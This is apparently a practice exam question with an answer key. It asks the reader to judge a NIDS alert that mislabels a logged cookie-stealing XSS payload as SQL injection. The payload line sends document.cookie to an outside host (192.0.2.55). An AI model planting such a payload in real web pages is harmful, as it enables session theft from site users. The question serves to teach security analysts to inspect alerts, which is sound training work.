Examkin

Question

Difficulty: MediumNetwork Security Monitoring and Alerting

While analyzing alerts from a network intrusion detection system (NIDS) monitoring outbound perimeter traffic, a security administrator notices an alert flagged as a high-severity SQL injection payload against an enterprise web application server. The packet log payload reads:

`GET /comment.php?id=101&data=<script>document.location='http://192.0.2.55/collect?cookie='+document.cookie</script> HTTP/1.1`

Which of the following represents the most accurate evaluation of this network alert?

  1. The NIDS signature misclassified the alert; the packet payload indicates a Cross-Site Scripting (XSS) attack vector rather than a SQL injection attempt.Answer
  2. B
    The alert correctly identifies a SQL injection attack attempting to query and extract administrative session tokens directly from the database server.
  3. C
    The network administrator should immediately configure a stateful perimeter firewall rule to remediate the web application's underlying code vulnerability.
  4. D
    The passive NIDS sensor functioned as a corrective control by automatically stripping the malicious script payload prior to transmission.

Answer

The NIDS alert mislabeled the attack signature; the logged payload represents a Cross-Site Scripting (XSS) attack designed for client-side script execution, not a SQL injection database attack.
Analyzing the raw payload string reveals `<script>` tags designed to extract `document.cookie` and send it to an external server (`192.0.2.55`). This is a classic Cross-Site Scripting (XSS) payload intended for execution in a web browser. The NIDS alert mislabeled the threat as SQL injection, highlighting the need for analysts to manually inspect payload logs.

Step-by-Step Solution

1
Inspect the captured network log payload for key indicators
Identified HTML `<script>` tags and `document.cookie` DOM references in the HTTP GET request.
Script tags and DOM manipulation elements indicate client-side script execution typical of XSS.
2
Distinguish between XSS and SQL injection attack signatures
Determined that SQL injection relies on database syntax (such as `UNION`, `SELECT`, `OR 1=1`), which is absent here.
Signature evaluation requires recognizing the target interpreter (web browser client vs SQL database server).
3
Assess NIDS alert classification accuracy
Concluded that the alert generated by the NIDS was a misclassified rule trigger.
NIDS signature definitions can misfire or apply generic labels, requiring analyst payload inspection for accurate categorization.

Key Concept

Log Payload Analysis & NIDS Alert Validation
Rate this question

Topics

Network Security Monitoring and Alerting

More questions from this topic